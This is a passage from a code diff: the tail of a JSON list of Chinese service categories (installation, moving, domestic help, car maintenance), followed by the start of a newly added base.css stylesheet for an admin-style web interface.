l,"is_get_child":false},{"id":31724,"name":"卫浴配件安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31717,"name":"小便斗安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31707,"name":"椅子安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31710,"name":"浴缸安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31728,"name":"浴室镜柜安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31727,"name":"桌台几类安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31716,"name":"坐便器安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31723,"name":"其他家具安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31692,"name":"办公家具维修","parent_cid":28857,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31670,"name":"地板维修","parent_cid":28857,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31693,"name":"生活家具维修","parent_cid":28857,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31661,"name":"其他","parent_cid":28857,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31545,"name":"大件搬运","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31553,"name":"钢琴搬运","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31551,"name":"货运搬场","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31546,"name":"家具拆装","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31548,"name":"居家搬家","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31549,"name":"空调移机","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31544,"name":"企业搬家","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31552,"name":"起重安装","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31550,"name":"设备搬迁","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31547,"name":"小型搬家","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31554,"name":"长途搬家","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31555,"name":"其他类型搬家","parent_cid":28751,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31524,"name":"催乳师","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31521,"name":"管家","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31522,"name":"看护/陪护","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31536,"name":"临时看护服务","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31530,"name":"普通保姆","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31531,"name":"涉外保姆","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31535,"name":"婴童馆服务","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31520,"name":"月嫂","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31525,"name":"育婴师","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31534,"name":"专业营养师","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31519,"name":"其他","parent_cid":28743,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31561,"name":"家庭保洁","parent_cid":28781,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31562,"name":"开荒保洁","parent_cid":28781,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31563,"name":"地板保养","parent_cid":28794,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31564,"name":"灯具清洗","parent_cid":28794,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31571,"name":"沙发保养清洗","parent_cid":28794,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31565,"name":"石材翻新","parent_cid":28794,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31570,"name":"其他家居保养","parent_cid":28794,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31578,"name":"室内空气检测","parent_cid":28815,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31579,"name":"室内空气污染治理","parent_cid":28815,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31619,"name":"窗帘配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31616,"name":"地板配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31625,"name":"灯具类配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31627,"name":"电子门锁配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31615,"name":"吊顶配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31624,"name":"晾衣架配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31617,"name":"墙纸配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31623,"name":"卫浴类配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31618,"name":"浴霸配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31626,"name":"装饰画配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31614,"name":"其他配送安装","parent_cid":28838,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31574,"name":"厨房卫浴维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31576,"name":"灯具灯饰维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31577,"name":"电子电工维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31575,"name":"墙面地面维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31572,"name":"住宅家具维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31573,"name":"其他家装维修","parent_cid":28795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31607,"name":"上门搭电/换电瓶/补胎/换胎","parent_cid":28844,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31606,"name":"拖车服务","parent_cid":28844,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31646,"name":"倒车后视/雷达安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31645,"name":"导航安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31651,"name":"定速巡航安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31650,"name":"一键启动安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31659,"name":"影音系统部件安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31656,"name":"自动关窗器安装","parent_cid":28855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31640,"name":"车灯照明系统安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31634,"name":"车底防护板/发动机挡板安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31633,"name":"更换防冻液","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31631,"name":"更换机油/机油格","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31630,"name":"更换刹车/助力油","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31628,"name":"机油/机滤安装更换","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31637,"name":"空调滤芯安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31629,"name":"轮毂安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31636,"name":"汽车钥匙改装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31639,"name":"汽油滤芯更换工时","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31632,"name":"刹车片安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31638,"name":"悬挂系统部件安装","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31635,"name":"其他改装服务","parent_cid":28849,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31644,"name":"玻璃贴膜安装","parent_cid":28852,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31641,"name":"车标/车贴装潢","parent_cid":28852,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31642,"name":"外饰加装","parent_cid":28852,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31643,"name":"其他装潢服务","parent_cid":28852,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31584,"name":"大/小保养套餐","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31622,"name":"更换变速箱油/波箱油/分动箱油","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31609,"name":"更换水箱水","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31598,"name":"轮胎调换","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31612,"name":"轮胎动平衡","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31611,"name":"清洗节气门","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31610,"name":"清洗喷油嘴","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31596,"name":"刹车保养","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31597,"name":"四轮定位","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31620,"name":"其他保养服务","parent_cid":28839,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31621,"name":"封釉镀膜服务","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31587,"name":"抛光/打蜡服务","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31603,"name":"抛光服务","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31605,"name":"漆面贴膜","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31604,"name":"洗车服务","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31602,"name":"其他美容","parent_cid":28842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31586,"name":"钣金/油漆","parent_cid":28841,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31600,"name":"玻璃修复","parent_cid":28841,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31585,"name":"补胎","parent_cid":28841,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31601,"name":"轮毂修复","parent_cid":28841,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31599,"name":"其他维修","parent_cid":28841,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31647,"name":"上门大保养","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31653,"name":"上门更换火花塞","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31660,"name":"上门更换配件相关保养","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31652,"name":"上门更换刹车片","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31657,"name":"上门清洗相关保养","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31648,"name":"上门小保养","parent_cid":28853,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31658,"name":"上门发动机舱清洗","parent_cid":28854,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31654,"name":"上门换空调滤芯","parent_cid":28854,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31786,"name":"其它翻译","parent_cid":28891,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31592,"name":"户外拓展","parent_cid":28830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31589,"name":"农家乐/生态体验","parent_cid":28830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31593,"name":"踏青采摘","parent_cid":28830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31588,"name":"游乐场","parent_cid":28830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31583,"name":"DIY手工","parent_cid":28829,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31613,"name":"室内儿童玩乐","parent_cid":28829,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31591,"name":"游戏电玩","parent_cid":28829,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31590,"name":"桌面游戏","parent_cid":28829,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false}] \ No newline at end of file diff --git a/TEMUKJD/Static/base.css b/TEMUKJD/Static/base.css new file mode 100644 index 0000000..84e6e55 --- /dev/null +++ b/TEMUKJD/Static/base.css @@ -0,0 +1,828 @@ +@charset "utf-8"; + +body,h1,h2,h3,h4,h5,h6,hr,p,blockquote,dl,dt,dd,ul,ol,li,pre,form,fieldset,legend,button,input,textarea,th,td{ margin:0;padding:0;} +body,button,input,select,textarea{font:12px/1.5 \5FAE\8F6F\96C5\9ED1,arial,sans-serif;} +h1,h2,h3,h4,h5,h6{font-size:100%;} +address,cite,dfn,em,var{font-style:normal;} +code,kbd,pre,samp{font-family:courier new,courier,monospace;} +small{font-size:12px;} +ul,ol{list-style:none;} +a{text-decoration:none;} +sup{vertical-align:text-top;} +sub{vertical-align:text-bottom;} +legend{color:#000;} +fieldset,img{border:0;} +button,input,select,textarea{font-size:100%;outline:none;} +table{border-collapse:collapse;border-spacing:0;} +img{vertical-align:top;} +textarea:-moz-placeholder , +.i-text:-moz-placeholder, +input[type=text]:-moz-placeholder { color: #ccc;} +textarea::-moz-placeholder , +input[type=text]::-moz-placeholder { color: #ccc;} +textarea:-ms-input-placeholder , +.i-text:-ms-input-placeholder , +input[type=text]:-ms-input-placeholder{ color: #ccc;} +textarea::-webkit-input-placeholder , +.i-text::-webkit-input-placeholder , +input[type=text]::-webkit-input-placeholder{ color: #ccc;} + +.fl { float: left !important;} +.fr { float: right !important;} +.clear{display:block;height:0;overflow:hidden;clear:both;} +.clearfix:after{content:'\20';display:block;height:0;clear:both;} +.clearfix{zoom:1;}html{overflow-y:scroll;} +.hide{display:none !important;} +.show{display:block !important;} + + +body {margin:0 auto; font: 12px/22px "\5FAE\8F6F\96C5\9ED1";position:relative;background-color:#fff; color:#666;text-align:center;} +a { color:#444; -webkit-transition: all 0.2s linear 0s; -o-transition: all 0.2s linear 0s; -moz-transition: all 0.2s linear 0s; transition: all 0.2s linear 0s; } +a:hover {text-decoration:none; } +button ,i,.icon{ -webkit-transition: all 0.3s linear 0s; -o-transition: all 0.3s linear 0s; -moz-transition: all 0.3s linear 0s; transition: all 0.3s linear 0s; } + +/**图标**/ +i,.icon{display: inline-block;vertical-align: middle;margin-top: -2px; font:0/0 a; background:url("../images/icon.png") no-repeat 0 0;} +.icon-home {background-position:1px -105px; } +.icon-user-info {background-position:1px -126px; } +.icon-shop {background-position:1px -145px; } +.icon-product {background-position:1px -165px; } +.icon-progress {background-position:1px -185px; } +.icon-finance {background-position:1px -203px; } +.icon-business-management {background-position:1px -223px; } +.icon-supplier-management {background-position:1px -243px; } +.icon-system-user {background-position:1px -262px; } +.icon-recommend-user {background-position:1px -280px; } +.icon-optimization-user {background-position:2px -88px; } +.icon-chart {background-position:2px -388px } +.icon-violation {background-position:1px -343px; } +.icon-flow{background-position:2px -322px;} + +.on .icon-home {background-position:-22px -105px; } +.on .icon-user-info {background-position:-21px -126px; } +.on .icon-shop {background-position:-22px -145px; } +.on .icon-product {background-position:-22px -165px; } +.on .icon-progress {background-position:-21px -185px; } +.on .icon-finance {background-position:-22px -203px; } +.on .icon-business-management {background-position:-22px -223px; } +.on .icon-supplier-management {background-position:-22px -243px; } +.on .icon-system-user {background-position:-23px -262px; } +.on .icon-recommend-user {background-position:-23px -280px; } +.on .icon-optimization-user {background-position:-20px -88px; } +.on .icon-chart {background-position:-21px -388px } +.on .icon-violation {background-position:-22px -343px; } +.on .icon-flow{background-position:-22px -322px;} + +.icon-rmb {background-position:-47px -58px; } +.icon-kf {background-position:-132px -58px; } +.icon-parssword{background-position: -75px -59px} +.icon-quit{background-position: -103px -58px} +.icon-rwgl{background-position: -52px -60px;} +.icon-ccp{background-position: -132px -58px;} +.icon-date {background: url(../images/icon-date.png) no-repeat 98% center;} +.icon-not-lock {-webkit-transition: all 0s linear 0s; margin-left: 3px; width:18px;height: 18px;background-position: -52px -156px; } +.icon-lock , +.icon-not-lock.icon-lock {width:30px;height: 30px; margin-left: -1px; background-position: -49px -176px; } +.icon-7flow {width:30px;height: 30px;background-position: -109px -457px; } +.icon-7flow:hover{background-position: -109px -488px;} +.icon-write {width:30px;height: 30px;background-position: -47px -92px; } +.icon-write:hover{background-position: -47px -123px;} +.icon-del {width:30px;height: 30px;background-position: -77px -92px; } +.icon-del:hover {background-position: -77px -123px; } +.icon-tb {background-position:-109px -97px; } +.icon-gr {background-position:-109px -127px; } +.icon-yhk {background-position:-109px -156px; } +.icon-zt {background-position:-109px -185px; } +.icon-top{width: 20px;height: 20px;background-position: -46px -322px;} +.icon-money {background-position: -144px -352px;} +.icon-flow-2 {background-position: -108px -282px;} +.icon-sendout{width: 30px;height: 30px;background-position: -212px -420px;} +.icon-sendout:hover{background-position: -210px -452px;} + +/**申请表单**/ +.form-box {margin:0 0 20px;position:relative; height:388px; padding:20px 20px 0;width:260px;background-color:#fff;} +.form-box .hd{ text-align: center;padding-bottom:25px; } +.form-box .hd span{display:block;font-size:20px;color:#333;line-height:35px;} +.form-box .hd p{color:#999;line-height:20px;} +.form-box .list{margin-bottom:20px;min-height:36px; text-align:center;color:#b9b9b9;font-size:12px;} +.form-box .list input{ color:#aaa; height:36px;border:1px solid #c9c9c9;width:100%;text-indent:10px;font-size:12px;} +.form-box .list input:-moz-placeholder { color: #aaa;font-size:12px;font-family:"\5FAE\8F6F\96C5\9ED1";} +.form-box .list input::-moz-placeholder { color: #aaa;font-size:12px;font-family:"\5FAE\8F6F\96C5\9ED1";} +.form-box .list input:-ms-input-placeholder{ color: #aaa;font-size:12px;font-family:"\5FAE\8F6F\96C5\9ED1";} +.form-box .list input::-webkit-input-placeholder{ color: #aaa;font-size:12px;font-family:"\5FAE\8F6F\96C5\9ED1";} +.form-box .list button{ border:none; height:38px;line-height:38px;width:100%; color:#fff;font-size:14px;} + + +.sidebar {background-color:#333744;width:160px;position:fixed;left:0;top:0;bottom:0;z-index:31;} +.sidebar h1{height:54px;border-bottom:1px solid #2d3034;background: #373d41;font-weight: normal} +.sidebar h1 a{display:block;height:54px;line-height: 54px;color: #fff;font-size: 14px;} +.sidebar h1 i{margin-right: 8px; margin-left: 10px; width: 30px;height: 30px; overflow: hidden;background: url(../images/logo.png) no-repeat center center; } + +.sidebar .menus{display:block; } +.sidebar .menus li{font-size:14px;line-height:45px;display:block;height:45px;margin-bottom:1px;position:relative;cursor: pointer} +.sidebar .menus li a{display:block;height:45px;padding-left: 20px;color: #fff;} +.sidebar .menus li i{width: 20px;height: 18px;margin-right: 10px;} +.sidebar .menus li a:hover{background:#424961 } +.sidebar .menus li a.on{background-color:#0084cf;} + + +.head {background-color:#fff;padding-left:20px;padding-right:20px;color:#1e2432;position:fixed;top:0;left:160px;right:0;z-index:41;height:54px;line-height:54px;border-bottom:1px solid #e3e4e5;box-shadow: 0px 10px 10px rgba(0,0,0,.02)} +.head .fr ul li{ position: relative; display:inline-block;cursor:pointer;margin-left: 15px;color: #777;} +.head .fr ul li a{color: #777;} +.head .fr ul li a:hover{color:#333;} +.head .fr ul li i{width: 22px;height: 22px;margin-right: 8px;} +.head .fr ul li .balance{color: #ff8b2b} +.head .fr ul li .cont{width: 175px;} +.head .fr ul li:hover{color: #333;} +.head .user{color: #0084cf;} + +/*.container { margin-top:0px;margin-right:20px; min-height:600px;margin-left:80px; background-color:#fff;padding-bottom:20px;}*/ +.container { margin:0 auto; padding-left:5px; text-align:left; min-height:600px; max-width:1120px; background-color:#fff; border:1px solid transparent;} + +.btn{text-indent: 0; vertical-align: middle; margin-top:-2px;cursor:pointer;border:none;font-size:14px;display:inline-block;margin-right:1px;height:45px;line-height:45px;color:#fff;padding:0 35px; } +.btn-small {height:25px;line-height:25px;cursor:pointer;border:none;font-size:14px;display:inline-block; color:#fff;padding:0 5px; } +.btn-big { float:left;margin-right:20px; display:inline-block;height:45px;line-height:45px;padding:0 23px;border-radius:3px;border:none;cursor:pointer;} +.btn-big.btn-blue{border-right:1px solid #0084cf;} + +.btn-blue{background:#0084cf;} +.btn-blue:hover{background:#00c1de;} + +.btn-green {background: #52c168;} +.btn-green:hover {background: #53c168;} +.btn-yellow {background: #ffaa06} +.btn-yellow:hover {background: #ffba06} + +.btn-red{ + border:1px solid #f06f5d; + background: #ff8d7e; + background: -moz-linear-gradient(top, #ff8d7e 0%, #f97866 100%); + background: -webkit-linear-gradient(top, #ff8d7e 0%,#f97866 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ff8d7e), color-stop(100%,#f97866)); +} +.btn-red:hover{ + background: #f97866; + background: -moz-linear-gradient(top, #f97866 0%, #ff8d7e 100%); + background: -webkit-linear-gradient(top, #f97866 0%,#ff8d7e 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f97866), color-stop(100%,#ff8d7e)); +} + +.btn-gray { + border:1px solid #cbcbcb; + background: #e4e4e4; + background: -moz-linear-gradient(top, #e4e4e4 0%, #bdbdbd 100%); + background: -webkit-linear-gradient(top, #e4e4e4 0%,#bdbdbd 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#e4e4e4), color-stop(100%,#bdbdbd)); +} +.btn-gray:hover { + background: #bdbdbd; + background: -moz-linear-gradient(top, #bdbdbd 0%, #e4e4e4 100%); + background: -webkit-linear-gradient(top, #bdbdbd 0%,#e4e4e4 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#bdbdbd), color-stop(100%,#e4e4e4)); +} + + + +.tables .btn:hover{color: #fff;} + +.color-gary {color:#999;} +.color-blue {color:#0084cf;} +.color-red {color:#ed6e5d;} +.color-green {color:#52c168;} +.color-green-2 {color:#c99300;} +.color-yellow{color: #ffb21e} +.color-333 {color: #333;} + +.i-text {border:1px solid #ddd;height:14px;text-indent:5px;padding:8px 0;} + +/**公用select**/ +.jc-select {position: relative;float: left} +.jc-select .text{text-align: left;min-width: 200px; height: 32px; line-height: 32px;border:1px solid #ddd; border-top: 1px solid #c6c6c6;} +.jc-select .text span{padding-left: 10px; height:45px;overflow: hidden;margin-right: 8px; position: relative;z-index: 6; cursor:pointer; } +.jc-select .text i{float: right;margin:14px 10px 0 0; background-position: -52px -209px; z-index: 4; height:5px; width:8px; } +.jc-select .text i.down {background-position: -52px -216px; } +.jc-select ul {top:34px;right:0;box-shadow: 0px 5px 10px rgba(0,0,0,.05); max-height:400px; display: none; border: 1px solid #e6e6e6; overflow-x: hidden;position:absolute;z-index:7;left:0px;background-color:#fff;} +.jc-select ul li{min-width:110px;text-indent: 10px; height: 30px;line-height:30px;overflow: hidden; color:#666; cursor: pointer} +.jc-select ul li:last-child{border-bottom: none;} +.jc-select ul li a{color: #666; display: block;} +.jc-select ul li a:hover , +.jc-select ul li:hover{background:#0084cf;color: #fff; } +.jc-select ul li:hover a{color: #fff;} +.jc-select ul .i-text{ height: 12px;line-height: 12px;margin:8px 10px;width: 180px;padding: 7px 0;} +.jc-select .text.color span{color: #333;} + +.jc-select.big ul li{min-width: 150px;} +.tables .title .jc-select .input-box{margin-right: 20px;} +.tables .title .jc-select .i-text{width: 100%;} + +.title .jc-select {float: none;} +.title .jc-select .text{height: 45px;line-height:45px;border: none;min-width: 100px;} +.title .jc-select .text span{ padding-left:0;text-indent: 0;min-width: 100px;} +.title .jc-select .text i{float: none;margin: 0;} +.title .jc-select ul {left:15px;top:45px; } +.title .jc-select ul .i-text{margin:0 10px 0px -10px;width: 80px;padding: 6px 0;} +.title .jc-select i.down:before{ z-index: 9; position: absolute;content: " ";left:25px;top:41px;width: 0;height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid #fff; } +.title .jc-select i.down:after{z-index: 8; position: absolute;content: " ";left:24px;top:40px;width: 0;height: 0; border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid #ddd; } + +/*.form{margin-top: 35px;}*/ +.form {margin-top: 0px;} +.form .item {min-height:45px; position:relative; margin-bottom: 15px;} +.form .item .name{color: #666; line-height:32px;display:inline-block;min-width:60px;text-align:right;float:left;margin-right: 5px;} +.form .item .i-text{width:400px;padding: 9px 0; border-top: 1px solid #c6c6c6;} +.form .textarea {resize:none;height:90px;padding:5px;border:1px solid #e0e0e0;width:390px; } +.form .item 